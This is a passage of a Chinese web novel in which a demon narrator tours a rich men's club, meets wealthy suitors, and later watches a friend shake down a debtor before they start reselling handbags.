我还?以为是换了?条路走,结果车停在低矮建筑前?,旁边来了?几个服务人员,似乎还?要换乘,有人开来一辆小车。 “上次的办公室太小了?,这次去俱乐部里面玩。” 服务人员接过他手里的卡,柯觅山走到我身边,笑容温和:“这里还?有很多其他玩的,不会让你无聊,有什么需要告诉我就好了?。” 我哦了?一声,打量四周。 俱乐部占地面积很大,放眼望去能看到大片的湖泊和广袤的草坪,如?果能建楼房的话?,应该可以卖几千万,但这片地好端端放着,作为有钱人休闲娱乐的背景。 距离能玩上游戏的地方还?有一段路,坐上小车前?进五分钟才抵达目的地。 经过一段石子小路,柯觅山领着我走进只有三栋楼的建筑里,它的形状很奇怪,像是一片银杏叶。 室内墙壁上挂满了?画作,装修格调和通往宗朔办公室的走廊一样,旁边的装饰树上还?有奢侈品的标志,所有东西都泛着蜜蜡般的光泽。 室内温度像春天一样温暖,柯觅山脱下大衣,旁边的侍从立马接过,恭敬地问他什么时候用?餐。 他说现在。 侍从转身离开,柯觅山转头对我说:“我们先去吃饭,等吃完就带你去玩游戏。” “我们时间很多,不着急。” 他慢条斯理?地调整袖口,眉目浸润着愉悦,嘴角弧度不变,“这次没有人等你回?去吃饭吧?” 我摇摇头,继续观望四周,沉浸式体验有钱人生活,新?奇不已。 柯觅山在我旁边介绍,夸夸其谈,但我一个字都没听进去,摸着不知道什么材质的扶手感慨人类真会享受。 摸起来真的和普通的不一样诶。 空气暖洋洋的,目光所至之处全是规整精致的装饰物,光看着就身心愉悦,怪不得龙喜欢亮晶晶、没用?的东西。 这就是有钱的滋味吗?我砸吧下嘴,忍不住开始想象以后要买的房子。 想要达到这种地步需要多少钱?几百万?几千万? 我的心跳猛地加速,贪婪溢满胸膛,有种想要霸占这里的冲动,如?果有恶魔的身体,我一定要把所有人类赶出去,在这里称王称霸。 可惜,我只有限时体验卡。 意识到这点后,我又开始郁闷,顺便开始仇富。 食物上桌后,我看着柯觅山拿起刀叉,动作熟稔地用?餐,见我没动,他关切地问:“还?是想吃点其他的?” 从开始到现在,我连菜单都没见过。 邛浚说得对,这人是个吝啬的扣货。 我在心里啧声,漫不经心地说:“我只是在想其他的事。” “什么?” 我:“等会玩什么。” 柯觅山弯起眼睛,温和地说:“任何你想的都可以。” “虽然没有游乐园那些刺激的设施,但有其他让人身心愉悦的活动,按摩、泡温泉、高尔夫……你想滑雪吗?” “滑雪?”我只在手机里见过,我喜欢飞行?和雪,滑雪既能飞还?有雪,属实美哉。 我兴趣盎然地盯着他,等着他的回?答。 “不过去那要坐直升机。” 柯觅山笑着说:“今天下午先玩游戏吧,我让人准备了?游戏机,比上次的设备多。” 说着,他忽然话?锋一转:“前?不久你问我泉卓逸,是为什么呢?他跟你说过我吗?” “说过。” 我咬住小番茄,含糊不清地说:“他说你是贱货。” 柯觅山笑容不变,刀叉在盘沿敲出清脆的声响,“他还?是和以前?一样没什么长?进啊。” “离开家什么也做不了?,还?去做了?男公关。” 他的目光投向我,深蓝色的眼底闪烁着不明的光,饶有兴味地说:“你知道他在做什么吗?” 说到这个,我可来劲了?。 我胸有成竹地点头:“我知道啊,我可是他的老板。” 柯觅山拿着刀叉的手愣住,唇角降下几度,眨了?下眼睛,温和地重复道:“老板?” “……你在男公关店工作?” 我:“对啊。” 桌上摆着红酒,猛然激发我装逼的决心。 “你不知道这几天业绩下降了?多少,幸好新?开的店烧了?,但是泉卓逸工作态度不认真,好几个客人投诉,这下又住院,最?近行?情不行?啊!” 我端起红酒,故作高深感慨道:“现在工作都不容易。” 柯觅山看着我,像是在看什么难以理?解的生物,握紧刀叉骤然松开,嘴角重新?浮现起笑,像是不经意间提及般说:“那你和他的关系不错吧,知道这么多。” “对啊。他是我的跑——” “柯觅山。” 身后传来一道男声,脚步不紧不慢地靠近。 我转头看去。 在巨大的画像下站着几个衣着考究的男人,领头的男人朝着柯觅山招手,态度熟稔地说:“稀客啊,你有多久没来俱乐部了?,这还?是你回?国第一次吧。” 其余人落后于他,有道视线格外?醒目,他站在最?后,背后的画像颜色明亮,燃烧着蓝色的火焰。 当视线相对的那一刻,他勾起唇角,轻笑一声—— 作者有话说:插播一个富哥(扭) 科目三越写越想打,咋能贱成这样,这种暗贱最难防啊,高傲的嘞,掌控欲强的嘞,我要让他成为败犬(对) 第46章 柯觅山脸上挂起标准的、温和?的笑, 微微向后?倾斜,靠在椅背上,“我?回来没有多久,刚好今天有空休息, 就回来看看了。” “听说你最近在投资游戏行业, 有什么内部消息可以分享一下, 等?会?回去我?也入点资。” 柯觅山低头轻笑,态度随和?,谦虚地说:“只是感兴趣而已,现在才起步, 我?对国?内的行业不大了解,如果有消息,一定最先告诉你们。” 这时?, 男人的视线轻飘飘地略过我?,投向后?面逐渐接近的人,他的脸上绽放笑意,“正巧遇上, 我?们准备上去玩几局,你和?这位女士——” 他的声音顿住,后?面走来的人跟着看向我?。 我?继续咀嚼沙拉,感觉自己像是动物园里?的羊驼, 尤其是周围站着看戏似的人, 如果我?真像羊驼那样吐口水, 他们的表情肯定会?很有意思。 他们看戏, 我?也在看戏。 “她是我?的学妹。” 柯觅山接过话头,礼貌地说:“我?带她来看看,下午还有事, 就不打扰你们了。” “学妹啊。”男人点点头,语气带着若有若无的怀念,“回想起在学校的时?光,都是好几年前的事了。” “聊什么呢。”后?面的人走近,手随意地插在兜里?,“不是你说等?不及要?开局嘛,现在倒是聊得起劲。” “这不遇上小柯总嘛,多聊了几句。” “一起?” “不用?了。”柯觅山微笑婉拒。 这几个人陆续聚拢过来,穿着打扮考究,样貌俊秀,腕间戴着昂贵的表,刺眼的光芒一闪而过。 他们的目光像羽毛般不经意地扫过我?,随即在附近站定,高谈阔论起商业项目,脸上闪烁着一种精心修饰过的、不易察觉的傲慢。 那些视线,在谈话的间隙,像恼人的小飞虫,时?不时?落在我?的身上。 我?观察着所?有人,柯觅山和?旁边多出的人,然后?,移到后?面不近不远站着的人身上。 他没参与谈话,而是单手插兜,姿态随意地站在后?面,不远处的侍从神情紧张,仿佛随时?准备过来。 站在前面的人话最多,叽叽喳喳讲个不停,但丝毫没有坐下的意思,时?不时?就要?回头瞥一眼最后?面的那人,似乎在等?待某个信号。 而被等?待的男人则不紧不慢地看着,他有一双浅棕色的眼眸,比浦真天那蜜糖般的瞳色更淡些,眼尾微挑,面部轮廓利落分明,带着点奇怪的、让人想打的气质。 我?打量他,他也在打量我?。 从刚开始,他就毫不遮掩地看着我?。 作为人类研究学者·恶魔。 我?曾说过人类对视就像是狗闻彼此屁股。 根据我?的短视频研究经验,像他这样的行为,在狗狗界里?是很冒犯的行为!谁家好狗一上来就执着地闻屁股?不是社会?化不足就是别有用?心。 所?以,这人大概率是个怪胎。 疑似怪胎的男人穿着件黑色衬衫,面料泛着细腻柔和?的光泽。手腕上系着块银色表盘的机械表,齿轮在里?面转动。 他低头看了眼时?间,忽然极轻地笑了一下,随即撩起眼皮,朝我?晃了晃手腕。 我?歪了下头,不明所?以。 他慢条斯理?地解开表,将其拿在手里?的,手指修长,白皙的皮肤下血管脉络清晰。 将表解下后?,他竖起食指比在嘴前,做了个“嘘”的动作,然微微扬了扬下巴,前面侃侃而谈的人立马察觉,精准掐断流水账似的对话。 “到时?间了。”旁边的人说。 “那好,下次再聊,有空组一局。” 领头的人对柯觅山点了下头,一行人朝着旁边的楼梯走去,男人走在最后?,步伐不疾不徐。 柯觅山似乎有些紧张,唇角的弧度不变,轻轻颔首向男人致意,但对方只是轻描淡写地看了他一眼,没做任何表示。 男人走近,又走离,黑色衬衫下的身形健硕,路过时?,丝丝缕缕的香味飘进我?的鼻腔里?。 但我?分辨不出具体是什么,因?为他们几个人身上都有气味,混杂在一起,难以分辨哪部分是他的。 等?他们离开,柯觅山才重新拿起刀叉,垂着眼,不知?道在想什么。 “那个人是谁?”我?问。 柯觅山抬眸,唇角惯有的弧度降下,他弯起眼睛,语气不咸不淡:“哪个?” “最后?那个。” “大概以后?都见不到了,知?不知?道名字,也没什么关系吧。” 他放下刀叉,擦了下嘴,语气清淡地说:“你吃饱了吗?” “吃饱了。” 不等?我?回答,他自顾自地说:“我们去上面吧,房间在二楼。” 我?嗯了一声,起身时?顺势弯腰,捡起掉落在腿边的银色手表,齿轮在表盘里?精密地咬合,大小错落有致,在柯觅山看来前,我?把它揣进兜里?。 表是刚才男人掉下的。 在经过的时?候,手腕无意地转动,表脱手而出,顺着白色丝绸桌布滑落在地上,声响不大不小,不远处侍从似乎看到了,往前走了一步,但不知?道又回到原位。 不管了,俺拾嘞。 那个男人刚才的意思是送我?,反正是我?拾到的,以后?见不到更好,我?直接拿去卖了。 揣着拾来的表,我?窃喜地跟着柯觅山上到二楼。 二楼的走廊里?也挂着样式各异的画作,左右两边往里?环绕,呈现出圆形,包围着中间的花园式的场地。 一侧是墙壁,另一侧是巨大的透明玻璃,往中心看,可以看到人造雪景花园,圣诞树上挂满了雪,树下堆积着贴着奢侈品的礼物盒。 有钱人真会?玩,装修得像是个精致的水晶球。 我?跟着柯觅山走进单独的房间,客厅宽敞得可以跑步,装修极尽奢华,花瓶里?插着鲜花,窗外视野开阔,草坪绿意盎然,一路蔓延至天际线。 液晶屏幕前放着游戏机,我?立马扑了过去,迫不及地摸来摸去,等?不及玩游戏。 柯觅山也坐到我?旁边,我?还以为他是打算看着我?玩,结果他拿起另一个手柄,温和?地说要?加入。 本来就是陪玩搭子?嘛,我?没意见,随便选了个游戏。 结果没想到他菜得惊天地泣鬼神,操作起来心不在焉,好几次还得我?出手相救。 我?用?充满质疑的眼神看他,他毫无知?觉,仍然笑着问我?怎么了,浓密的睫毛遮住蓝色的眼眸,周身弥漫着一种看不见的、压抑的情绪。 又不开心了。真搞不懂这人。 “你为什么这么菜啊?” 我?十分纳闷地说:“我?还以为你很厉害呢。” “……” 柯觅山的笑容僵硬一瞬,盘腿而坐时?脊背依旧挺直,他的表情凝固了片刻,才说:“抱歉啊学妹,我?不怎么玩游戏。” 屏幕上闪烁着巨大的红色死亡两个大字。 他沉默片刻,问:“泉卓逸很厉害吗?” 我?果断摇头:“你们菜得半斤八两,幸好是单机游戏,要?不然你早就被队友喷成筛子?了。” “那我?就放心了。” 在放心什么? 我?疑惑地看着他。 柯觅山微微一笑:“因?为只有学妹你当我?的队友啊。” 其实我?早就在心里?献祭了他祖宗十八代,并且偷偷在背后?竖起了中指,刚才说过的时?候,我?差点没忍住骂他脸皮厚。 唉。我?真是是个能屈能伸的恶魔。 又玩了一会?儿,我?操控小人第五次把他的角色给锤死,佯装惊讶地道歉。 果不其然他的咬肌一紧,握着遥控器的手青筋腾起。 最后?,柯觅山默不作声地起身,云淡风轻地丢下一句“去处理?点工作,失陪了”,便离开了客厅。 他一走,我?简直欢天喜地,彻底放飞自我?,翘着腿躺在沙发上打游戏,打着打着从沙发滚到地毯上,姿势千奇百怪。 打游戏的间隙里?,我?瞥向旁边的房间。柯觅山面无表情地坐在桌前看电脑,眸光冷淡,浓密的睫毛投下细密阴影,鼻梁高挺。 褪去笑脸,他和?泉卓逸一样,拥有浓墨重彩、具有攻击性的五官,像是宝石的棱角。 但他总笑,所?以不像泉卓逸那么欠揍。 我?仔细地观察,发现他天生嘴角微垂,不笑时?异常冷漠,格外不近人情。 而笑起来时?,他眼下卧蚕明显,眼睛弯成月牙状,这种眼型叫什么来着……桃花眼? 我?原本以为桃花眼是字面上的意思,眼睛像桃花一样,算是一种残疾。 柯觅山忽然抬起头,视线和?我?撞个正着,皮笑肉不笑地抬了下嘴角。 长着这么一张聪明脸,玩游戏居然这么菜。我?在心里?默默吐槽,回头继续操控我?的角色翻越栅栏。 室内空调吹送着暖风,让人浑身舒坦,地上铺着细腻的绒毛毯,我?瘫在上面,舒服得像喝醉了酒,昏昏欲睡。 窗户外景色怡人,颇有一种“天下在手”的得意感。 快哉快哉,在下古风恶魔是也。 我?趴在地上看风景,抬头时?才发现已经过去半个小时?。 玩游戏让我?浑身有劲,等?通关,我?就在房间里?跑来跑去,动静不小。 柯觅山出来看了一眼,发现我?在研究冰箱,礼貌地告知?有想要?的可以叫服务员,随后?关上房门,彻底隔绝了客厅。 等?翻完冰箱,我?又把整个房间探索个遍,甚至在沙发上蹦跶了几下。 温暖的热气让我?有点飘飘然,对这个豪华空间满意至极。 要?是我?的该多好。 我?躺在沙发上幻想富豪生活,这次更具体了:我?要?个和?俱乐部一样大的庄园,每辆豪车有得有名字。 贪婪如同?膨胀的气球,越来越大,热意涌向脸颊,我?沉浸在对未来的幻想中无法自拔。 以前我?是个随遇则安的恶魔,那是因?为我?没见过世面。 怪不得大家都想有钱,不仅是为所?欲为的自由,更是这种填满想象力?的享受水平 我?闹腾够了,躺在沙发上继续做梦。 突然,柯觅山走出房间,来到我?旁边,我?拿起游戏机,警惕地看着他,他笑容一僵,拿起旁边的外套,淡淡地说:“我?要?出去一趟,学妹你先自己玩吧。” 门关上了。看他摸口袋的动作,估计是烟瘾犯了。 我?又打了一阵游戏,翻身时?被兜里?的硬物硌到。 那块昂贵的表掉了出来,我?在光下仔细观察它,发现表盘里?镶嵌着细小的钻石,肯定比宗朔的那块贵。 今天请假出去玩,宗朔发了几条消息谴责我?,吓唬说下次再请假就扣工资。 我?才不怕,我?就是老?板。 我?握着表想了想,起身朝门外走去,想看看外面的景色。 门口的侍从贴心问我?需要?什么,我?让他把最贵的东西拿来,他愣了下,礼貌地说好。 等?他离开后?,我?沿着走廊往外走,左看右看,好奇地推开玻璃门,踏入了人造雪景中。 脚下触感软绵,原来是飘下的“雪”是某种泡沫,在手心里?不会?融化,而且空调开得很足,一点也感觉不到冷。 我?捧起雪,像玩橡皮一样捏来捏去,把它们堆起来,想要?做个雪人。 我?喜欢雪。 虽然在人类世界的记忆不怎么美好,下雪天家里?总会?漏风,冷得我?把手脚塞进哥哥衣服里?,用?他的肚子?取暖,被子?又沉又潮,脸和?手上还会?长冻疮。 我?捻起一撮“雪”,盯着它看了会?,突发奇想,把它放进嘴里?,想尝尝到底是什么味道。 诡异的味道在舌尖绽开,我?赶紧呸呸呸。 有毒! 噗呲。有人轻笑出声。 我?转过头,穿着黑色衬衫的男人倚在门口,袖子?挽起,露出一截结实有力?的小臂。 他漫步到我?旁边,看着我?面前歪歪扭扭的雪人,又笑了下,开口道:“尝起来如何。” 他的声线低沉,带着漫不经心的慵懒,比起宗朔要?正经些,声音里?像掺了细微的电流,听得人耳朵发痒。 我?揉了下耳朵,好奇地说:“你的声音好奇怪。” 他也不恼,心情很好地反问道:“怎么说?” “像带电一样,你吞声卡了?” 他低低地笑了声,胸腔震动:“以前感冒把嗓子?烧坏了,就变成现在这样了。” “你应该去做ASMR,肯定很赚钱。”我?说。 他笑而不语,反问:“你喜欢吗?” 我?点点头:“还好吧。” “柯觅山去哪里?了,让你一个人出来。” “他抽烟去了吧。”我?说完又补充道,“我?猜测的。” “那要?不要?猜猜我?。” 男人勾起唇角,眼神锐利地看过来,浅淡的眸子?像某种野兽,颜色越浅越显得精神,甚至精神过头了,带着股野性,他的嘴唇不厚不薄,下唇却格外饱满,莫名添了几分难以言喻的气质。 “猜你什么?” “猜猜我?抽不抽烟。” 我?下意识看向他的手指,他不躲,抬起右手放在我?面前。 我?仍然蹲着,他的手背正好在面前,皮肤颜色白皙,肤色通透,青色的血管在小臂坚实的肌肉下蜿蜒起伏。 他的身材很好,是我?见过肌肉线条最明显清晰的人,修长而充满力?量,像一头动物世界里?正值壮年期的猎豹。 我?仔细看他手上的茧,发现虎口和?食指上尤其明显,背面看完了,我?戳了戳他的食指,抬头看他。 他从喉间溢出一声笑,顺从地翻转手掌。 掌心赫然有一道明显的疤痕,像是被什么撕开又缝起来。 我?瞬间露出了然的神色。 他问:“看出来了?” “你是司机吧。”我?笃定地说。 “?” 他好笑地看着我?,问:“理?由是?” “这茧子?,一看就是常年握方向盘磨出来的。”我?有理?有据,“虎口和?食指最明显。” “不能是做其他的事留下的吗?”他意味深长地说,“比如说一些坏事。” 我?眨下眼睛,没搞明白。 什么坏事?难不成是撸O弄出来? 我?的目光逐渐犀利。 对视时?,他微微眯起眼睛,显得十分愉悦,也蹲了下来,指着我?面前的雪人,态度熟稔地说:“这个雪捏不紧,要?去真的雪地里?才好玩。” “多捏几次就好了。”我?戳来戳去,忽然来了兴趣,“你知?道滑雪场吗?” “知?道。”他说,“你想去?” “听说要?坐直升飞机才能到。” 我?颇为可惜地说:“体验不到了。” “你想要?的话,现在就可以去。” 他哼笑一声,声线如电流般淌过,朝我?抛出诱饵:“想去吗?” 我?摇摇头:“柯觅山还没回来呢。” “一定要?他陪着你?” “也不是。”我?说,“万一要?花钱怎么办,肯定很贵,我?才不会?嘞。” 我?决定了,我?的钱要?留着买大房子?! 旁边的人笑出声,眼睛眯着一条缝,浅淡的眸子?漾开难以遮掩的愉悦感。 有别于香水的气味淡淡地涌现,是属于酒类的香醇气味,虽然才冒了个头,但浓烈地霸占我?的鼻腔。 尝起来更是刺激,舌尖发麻,味蕾分泌出大量唾液,让我?食欲大发。 我?砸吧下嘴,对他的兴趣又浓了一分。 视线再次交汇。他站起身,朝我?伸出手。 我?握住,借力?起身,身体凑近时?,他微微仰起头,游刃有余地用?下目线看着我?。 忽然想起泉卓逸,他做这个动作时?显得轻浮又刻意,全靠一张脸在撑,装得很明显,但眼前的男人却十分自然,大概是这个样子?看惯了。 他后?退一步,笑着说:“我?也突然想去滑雪了。请你一趟,怎么样?你可以堆个比这大得多的雪人。” 我?摸摸下巴,忽然想到杀猪盘,狐疑地打量他,问:“万一你骗我?怎么办?” “我?不爱骗人。” 不爱,不等?于不会?。我?的不等?式学得顶呱呱。 我?得意地竖起食指摇了摇:“我?都不认识你。” 他拖长尾音“嗯”了一声,像是豹子?慵懒勾起的尾巴,电流感在耳边乱窜,让我?没忍住又揉了下耳朵。 “表抵押在你那也的关系不行吗?” 他慢条斯理?地摸了摸手腕,忽然上半身前倾,在我?耳边低语:“我?看到你捡起来了。” 真的是杀猪盘!幸好我?没直接跑路,万一他报警抓我?,我?有口难辨啊。 我?汗毛倒竖,尬笑两声,眼珠一转,立刻理?直气壮起来:“对啊!你自己没拿稳,我?帮你捡起来,你应该感谢我?! 虽然不情愿,但我?还是掏出表递给他,眼巴巴地看他把表重新戴好。 “现在认识一下吧。” 他伸出手,手掌宽大,包裹住我?的:“霍亦瑀。” 莫名其妙开始了握手。我?也像商业会?谈似的报上名字,眼睛四处乱瞟,琢磨开溜的借口。 越来越像杀猪盘了。 霍亦瑀瞥向我?的后?面,收回手,看了眼手表,指间夹着一张名片递给我?,眼睛弯微弯:“我?还有事,下次见。” 我?接过名片,上面只有名字和?电话,朴素得连个广告都没有。 因?为手机放在房间里?,我?盘算回去搜一下,看他究竟是什么来头,如果是个有钱人,认识一下当然可以,而且他是司机,肯定知?道很多有钱人,多一条人脉创业也不错,以后?他来当男公关,我?还可以帮他介绍。 我?将名片塞回兜里?,回到房间时?,柯觅山正站在沙发边,我?靠近时?,他抬起眸,不咸不淡地勾起唇角。 “回来了。”他说,“桌上那些,是服务员送来的。” 我?赶紧跑过去看“最贵的东西”是什么。 盘子?上装着精致的小点心,看不出特?殊之处,我?尝了一口,味道的确不错,像吃一朵花似的,口齿留香。 有钱人的东西就是不错啊。 我?不知?道第几次感慨,看着没什么反应的柯觅山,心里?直冒酸水,再次开始仇富,毕竟我?的富只是小康,这才是真的富! 我?罕见地用?食物塞满胃袋,虽然沉甸甸的,但是很种满足感,仿佛胃部里?装的是钱。 吃完,我?又投身游戏世界,势必要?在离开前痛快地玩一番。 柯觅山在旁边看着,没有说要?加入,大概是对自己的实力?有了清醒的认知?。 等?玩累了,我?在地摊上打滚,享受那份柔软。 柯觅山看着我?,忽然凑近,替我?理?了理?蹭乱的头发,随后?表情平淡地说:“不早了,我?送你回去。” 我?点点头,意犹未尽地跟着他下楼,坐上车,朝着家的方向驶去。 回家的路上,我?仍然在回味,躺在毛绒毯上的舒服感,以及享受精贵食物的快乐。 然而体验卡结束得太快。 有钱真好啊,特?别有钱,好上加好。 等?我?有钱了,我?一定要?每天待在俱乐部里?。 柯觅山一路沉默,车开到半途,他忽然叫停,让司机下车买东西,他表情浅淡,但周身笼罩着一种复杂的低气压,即使不用?情绪颜色判断,我?也看出他的不爽。 他弯起眼睛,蓦地开口:“继续中午没聊完的话题吧。” “学妹,你和?泉卓逸,到底是什么关系?” 按理?说我?应该委婉地掩盖,因?为他的态度很明显,他不想要?听到真正的答案,我?应该说出其他的话。 就像以前做的那样,瞒着恶魔偷偷溜去天堂。 但现在为什么要?撒谎呢? 他又不会?危及我?的生命,他只是个人类而已。 所?以我?特?别诚实,我?想看他不爽的样子?。 我?直白地说:“跑友啊。” 我?看着他,欣赏着他脸上骤然涌起又被强行压下的负面情绪,那无形的黑线如同?混乱的毛线团,猛涨又收缩。 柯觅山轻轻顶了下腮帮,笑着点了点头,叹息般说:“原来是这样啊,真是……可惜啊。” 司机回来后?,他再没看我?,只是盯着平板,在屏幕冷光的映照下,面无表情地审阅文件。 车辆抵达目的地,他挥手告别,笑容迅速陷入车内的阴影中。 我?回味着他最后?的表情,忍不住笑出了声。摸出手机,决定查查今天遇到的霍亦瑀究竟什么来头。 输入名字,搜索。 下一秒,我?被一长串金光闪闪的介绍震得瞳孔地震! 科技巨头公司总裁,富豪榜上常客,出席过无数重磅活动,身价后?面的零多到数不清…… 比起柯觅山还要?金光,已经抵达无法拒绝的地步,像这样的人,我?愿意撒谎呐! 我?心跳砰砰加速,手快速冲向衣兜。 结果左摸右摸,口袋空空——那张名片,不见了! 我?瞬间郁闷至极,脑子?里?灵光一闪,在客厅时?,柯觅山突然靠近替我?整理?头发……难不成,是他顺手牵羊?! 撒旦啊!柯觅山你去SPA!—— 作者有话说:富哥来了,富哥走了。 接下来是穷菌和男公关们的戏份,呵呵呵呵,学哥必须当败犬(对) 我今天努力日六了哦(扭) 第47章 我?想要大?House。 做梦的时候我?都在想这件事, 当起床时发现?自己在小床上,我?不由生出忧郁的情绪,翻阅消息时,心?情比苦瓜还要惆怅。 我?的大?House究竟什么时候到来?我?想赚钱, 我?想变富! 曾经自诩懒癌晚期, 七宗罪只有懒惰占据的我?彻底改变了!贪婪在胸膛里燃烧, 我?现?在是又贪又懒又好色的恶魔! 身为?501岁的恶魔,现?在正是奋斗的年龄啊,我?要夺权,我?要彻底霸占[极乐世界]! 只要手下的男公关还能喘气, 就能源源不断生钱,迟早有一天,我?要靠他们?走?上人生巅峰! 五个感叹号, 看出来我?有多么激动了吗? 我?罕见地早起,朝气蓬勃地处理消息。 朋友们?的日常聊天积攒了很多天,我?非常有闲心?地挨个评论?回复,上早八的潘小谷看到, 连发数条问我?是不是被盗号了。 我?潇洒挥手,继续处理下一个。 邛浚发消息说今天取货,让我?有空就找他约定时间,他发消息的时候是凌晨四点?。 我?想了想, 约定下午四点?, 拿完货正好去[极乐世界]。 消息刚发过去一秒不到, 他即刻回复, 精神?十足。 现?在可是早上九点?半诶。 这家伙完全不需要睡眠吗? 其他消息,除了莫名冒出来的同学,就是不知何时关注的公众号, 我?挨个取关,彻底清空红点?。 热闹非凡的软件里,有个人安静了很久。 [泉卓逸(1.7有钱有颜有技术)]安静如鸡。 最?后一条消息还停留在前天凌晨。 上次他逃出医院,他哥的助理凌晨加班来抓他,他留下一句标志的“我?会回来的”反派台词出门,紧接着浦真天像弹簧一样弹射起身。 估计他能继续安静好一阵子。 我?想了想,没给他发消息,收起手机,充满朝气地洗漱完毕,用全新的、挑剔的目光审视客厅。 实在是……太小了! 我?扶额叹气,越看堆积成山的玩偶越不顺眼,也不知道为?什么浦真天喜欢收集它们?。 上次我?问他是哪来的,他不好意思?地笑了两声,说是以前店里搞活动剩下的,没人要,他就拿回来了,平时可以送给顾客,但我?从没见他拿出去过,反而家里的玩偶越变越多。 哥哥还在睡觉,我?直接扑上去,像被子一样盖在上面?。 他发出一声类似被挤扁的玩具的闷响,迷迷瞪瞪地睁开眼,眼下挂着黑眼圈,小声嘟囔:“要吃早饭吗……我?马上起来。” “不吃。” 我?抬起头,把下巴搁在被子上,忍不住跟他分享我?的宏图大?业:“我?现?在有具体的愿望了,以后要努力实现?它!” 哥哥困倦地“嗯”了一声,眼睛睁开一条缝,上半身往上倾斜,打算从沙发上起身。 我?立马捂住他的眼睛,认真地说:“你闭着眼睛听我?讲,一定要好好想象才行。” 他含糊地应了一声,老实躺着不动。 “我?要买一个大?House。” 我?兴奋地说:“不是以前说的那种,而是一个特别特别大?的!包括草坪和山脉,从一个地方到另一个地方需要乘车的庄园。” “里面?要有很多华丽的建筑,要有个人造的雪景花园,嗯,还要一个巨大?的游戏房,地上要毛毯……对了,还得有很多随叫随到的服务员。” 哥哥的睫毛颤动,像是鸟的羽毛,有意无意骚痒我?的手心?,他的呼吸清浅,像是睡着了,又像是在思?考。 我?立马撤开手,转而捧着他的脸问:“你想象出来了吗?” “嗯……差不多吧。” 他抿了下唇,眼睛还闭着,“现?在能睁眼了吗?” 我?晃动下腿,批准了。 他睁开眼,黑沉的眸子凝着我?。 不像我?想的那样开心?,反而情绪有些低落,眼底积蓄着说不清道不明?的情绪。 我?问:“你觉得我?的梦想怎么样?” 他说:“很好,非常好,我?只是……只是有点?想象不出来。” 果然没亲眼见过很难想象。 我?惋惜地叹了口气,翻了个身,叠在哥哥身上,隔着被子感受到他的手在调整姿势,将我?固定住,防止滑下去。 “要是能再去一次就好了。” 想起柯觅山,我?忍不住咬牙切齿,我?真的生气了……除非他再带我?去玩! 想了想,我?又说:“下次带哥哥一起去。” “……嗯。”他闷闷地应了一声。 过了一会儿,他金蝉脱壳般溜出被窝,让我?钻了进去。我舒舒服服地躺好,继续构思?伟大?计划。 中途浦真天出来,手脚僵硬地经过我?,洗漱完站在旁边盯了我?许久,似乎有话要说。 但我全神贯注地想事情,完美无视了他。 等发现?时,他已经落寞地走开了。 吃完午饭,我?先?缠着哥哥填饱肚子。等到四点?,立刻起身出门。 这次,哥哥没有叫住我?。 指定地点?在一条商业街,附近服装店很多,我?到的时候路人不少,还算热闹。 我?站在邛浚发来的位置定位,旁边就是一家女装店,大?概是在这里取货,此时女装店门大?开,里面?空无一人。 偶尔有路人探头,见没老板,又遗憾地离开。 邛浚还没到,我?站在门口等他,在脑子里粗略计算能赚多少钱。 按照邛浚说的,一个包能赚一千六到两千四,我?们?7:3分,一个包我?能赚一千一百二十到一千六百八十,所以十个包就是…… 正跟数学题搏斗时,旁边巷道传来急促的呼吸声,有人在求饶,模糊听到“能赚钱”、“一晚上能上万”之?类的怪话。 一听到赚钱我?来劲了,悄咪咪靠近巷口,往里窥探。 背几个背影壮硕的男人围着中间一个跪地求饶的中年男人,那人脸上乌青,眼眶肿着,显然被揍过,正双手合十不停鞠躬。 “再宽限几天吧……过几天我?一定凑够钱!今天有几个大?客户,肯定能补上几万!” 他面?前的人背对着我?,穿着蓝色冲锋衣,手弯处夹着个头盔,慢悠悠地说:“可你前天也是这么说的诶。” “不付出点?代价,那不显得我?很好欺负嘛,你说是吧?” 他转头向旁边的人寻求赞同,后者只是瞟了他一眼,默默充当背景板,没得到回应,他依旧自得其乐,爽朗地笑了声,弯腰去扶地上的男人。 对方吓得连退几步,双臂护脸,撕心?裂肺地惨叫起来,“我?能赚钱!我?还能赚钱!您不要——” “说什么呢,我?就是想扶你,我?很尊老爱幼的!” 他强硬地把男人拽起来,还替对方拍灰,和蔼可亲地说:“你看,没事吧?” “您……您同意了?”中年男人抽抽噎噎,一脸涕泪横流,凄惨至极,“我?明?天一定还上五万!” 在中年男人希冀的目光里,他笑了下,接着语气欢快、斩钉截铁地说:“不行啊。” 中年男人面?色惨白,眼看就要晕过去。 “当然也不是没办法,不过利息得上调一个点?。王老板,没关系吧?” 中年男人愣住,嘴唇哆嗦着想反驳,但看到什么,瞳孔颤抖,如丧考妣,彻底没了力气。 “同意就先?签个文?件,毕竟我?们?也是正规渠道,对吧?” 他像讲笑话般看向旁边的人,但依旧无人发笑,小巷里只剩下中年男人痛哭流涕的声响。 解决完事情,他心?情很好地转身。 巷口的光线落在蓬松的卷发上,衬得他像个人畜无害的男大?学生,清爽得与周遭格格不入。 我?终于看清他穿的是什么了——是饿了么制服。 邛浚迅速捕捉到我?,抬手自然打招呼:“来了啊,等会儿店主就给我?们?拿货。” 他拍了拍旁边的中年男人,后者一哆嗦,懦弱地擦掉鼻血,支支吾吾地点?头,逃也似的冲进旁边大?门敞开的店铺。 邛浚拍手庆祝,挨个和后面?那群黑涩会背景板握手,然后从兜里掏出红票子,现?场结清工资。 那帮人拿到钱,也纷纷跑走?,速度不比中年男人慢。 我?左看右看,疑惑地问:“你在拍短剧吗?” 但周围没见举手机的人。 他笑着来到我?身边,摊开双手,无奈地说:“我?也想拍啊,这份兼职收入完全比不上拍短剧。” “受人之?托,办点?小事而已。” 看上去像是在收高利贷。 我?上下打量他的衣着,迟疑道:“你什么时候从美团跳槽了?” 邛浚没有说话,而是解开几颗扣子,露出里面?黄色的制服。 他一脸纯良地说:“饿了么骑手新手福利,我?顺手干了。” 我?:“……” 我?竖起大?拇指。 他对钱的渴望是我?不能企及的,不得佩服佩服。 我?摸摸下巴,转移话题道:“你觉得我?们?能卖几个包?” “嗯……” 他也学我?摸下巴,认真思?考片刻,骤然笑起来,阳光灿烂:“先?定个小目标,卖一万个!” 【极乐世界】有三百个男公关,平均每人要卖33.333…个。 我?呵呵一笑:“卖不到你来补差额。” “哎呀。”他软绵绵地叫了一声,朝我?眨眼,“人要相信自己嘛。” 总之?,现?在的目标是卖一万个包。 被揍得很惨的老板搬出几个纸箱,说这是全部存货,卖完再找他,我?数了数,总共两百个。 邛浚自来熟地勾着老板借车,后者吓得腿软,差点?摔倒,站稳后飞快甩出钥匙,就差跪求邛浚快走?。 